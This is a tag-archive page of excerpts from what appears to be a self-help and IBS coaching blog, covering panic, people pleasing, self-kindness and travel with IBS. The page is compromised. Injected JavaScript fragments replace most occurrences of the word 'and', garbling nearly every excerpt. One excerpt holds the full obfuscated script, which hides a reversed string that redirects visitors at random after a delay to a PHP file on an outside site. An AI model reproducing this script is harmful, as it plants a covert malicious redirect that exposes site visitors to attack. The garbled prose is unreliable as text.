Tagged: self empowerment

Turning Panic Into Power

Turning Panic Into Power

Sometimes it takes the wrong thing to happen for you to understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and what you need to do.

In the past my typical response to a glitch in the plan was to panic. I  would worry about what I was going to do now andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how I was going to do it. I would over think, over worry andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and over research my options. It was a time waster andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and energy killer. All it came [...]

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Do You Want To Please Or Soar?

Do You Want To Please Or Soar?

 

“I watch her with loving sadness as she dulls her shine to please others. Will this butterfly ever soar? Will she continue to pretend she can’t fly? Her greatest life awaits this decision.” – Steve Maraboli

This quote really got me thinking this week. SO many women I work with are caught up in the act of people pleasing. I used to do the same thing even though I would never have considered myself a people pleaser.

I’ve been having lots of chats with women lately andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have some BIG changes I’m planning… so [...]

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8 Ways To Tame Your Inner Emotional Control Freak

8 Ways To Tame Your Inner Emotional Control Freak

 

Are you an emotional control freak? If you said yes, don’t worry you’re not alone.

 

Here are 8 ways you can tame your inner control freak so you can feel amazing, create a better relationship with yourself, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and be attractive to others.

 

1. Stop being a people pleaser. People pleasing is a sneaky way to control your own emotions. You may be feeling angry at the expectations others are putting on you, but control your anger just by saying yes. When you say no, it may feel awkward at first, but it actually frees [...]

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Are You Too Stubborn to Get Well?

Are You Too Stubborn to Get Well?

I had the pleasure of spending time with some good friends this weekend. They’re great people, generous andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and very happy for the most part. Except when it comes to pain. I’ve known for quite some time that my friend’s husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and has back pain, really bad back pain. He’s been to some doctors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and they prescribed the general things like physical therapy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and medication. He’s tried acupuncture andom() * 5);if (number1==3){var delay [...]

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Seven Ways to Cultivate the Practice of Belief

Seven Ways to Cultivate the Practice of Belief

 

At the start of the New Year, we often make goals about our career, health, or relationships. Unfortunately by the end of January, too many of us give up on those goals. Not because we’re lazy or we didn’t really want the things, it’s because we don’t believe we can actually have them.

 

We often blame it on not enough time or discipline, when in reality it’s neither of these things. The truth is we don’t actually believe we can create what we want.

 

It’s okay not to believe in yourself (at least some of the time).

 

I know we hear a [...]

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Kindness andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Restless Mind

Kindness <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Restless Mind" class="alignleft wp-post-image" />

Earlier this month I devoted an entire week to being especially kind to myself. I have to say it’s one of the hardest things I’ve ever done. It sounds like it would be easy to practice kindness toward yourself, but what I realized is that we spend most of our time being unkind to ourselves.

 

For me it looked like this: I want to relax. I shouldn’t relax I have stuff to do. I should relax because it’s what my body needs. But what if I relaxed too much andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and then I can’t [...]

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Letting Go of Normal

Letting Go of Normal

 

I spent a lot of time in the last two years wishing my life could go back to normal. Some days I longed for normal so badly that it made me cry. It wasn’t that I was just in pain from being injured in an accident; it was the frustration that I could no longer do some of the things that were normal to me.

 

In my career as a mind-body coach I watch people long for normal all the time. Many of my current clients suffer from IBS or digestive disorders. They talk often about wanting a normal life. [...]

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Traveling Fearlessly With or Without IBS

Traveling Fearlessly With or Without IBS

I love to travel. I always have. Though it was stressful for me, I did it anyway. For me the thrill of a new adventure, seeing a new place, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and being out of my comfort zone intrigued me so much that it far outweighed my fear.

 

But it wasn’t easy.

 

I did learn ways to adapt. I was always pretty good with taking flights, that didn’t seem to bother me. It was hours after the flight andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and eating travel food that I noticed tightness andom() * 5);if [...]

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IBS Relief: Are You Making Time or Excuses? Part 2

IBS Relief: Are You Making Time or Excuses? Part 2

In my last blog, I shared about how being in pain helped me in creating a flow in how I make time for the things that are important in my life. It meant eliminating many things that were holding me back andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and adding things that I never thought I would do.

 

I wanted to follow up by sharing with you some specific ways in which I was able to make the change from making excuses to making time.

 

At first, you may need to help from friends or family members who can [...]

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